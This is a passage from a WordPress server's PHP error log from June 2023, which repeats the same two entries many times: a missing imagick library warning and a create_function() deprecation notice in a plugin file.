directory)) in Unknown on line 0 [08-Jun-2023 01:37:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 02:03:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 02:03:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 03:04:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 03:04:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 05:14:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 05:14:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 05:31:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 05:31:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 06:27:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 06:27:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 06:54:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 06:54:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 07:04:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 07:04:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 07:11:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 07:11:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 07:21:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 07:21:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 07:27:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 07:27:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 07:51:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 07:51:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 08:05:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 08:05:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 08:15:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 08:15:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 09:06:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 09:06:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 09:33:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 09:33:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 09:51:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 09:51:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 09:56:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 09:56:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 10:07:08 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 10:07:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 10:09:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 10:09:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 10:17:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 10:17:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 10:32:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 10:32:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 11:06:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 11:06:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 11:08:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 11:08:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 11:39:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 11:39:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 12:09:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 12:09:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 12:12:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 12:12:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 12:16:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 12:16:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 12:35:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 12:35:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 13:10:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 13:10:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 14:11:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 14:11:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 15:12:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 15:12:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 16:13:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 16:13:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 17:13:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 17:13:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 18:14:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 18:14:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 19:15:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 19:15:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 20:16:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 20:16:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 21:17:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 21:17:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 22:18:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 22:18:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 22:35:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 22:35:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 22:38:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 22:38:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 22:53:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 22:53:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 23:02:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 23:02:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 23:07:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 23:07:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 23:14:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 23:14:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 23:17:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 23:17:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 23:19:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 23:19:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 23:21:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 23:21:45 UTC] PHP Deprecated: Function create_function() is 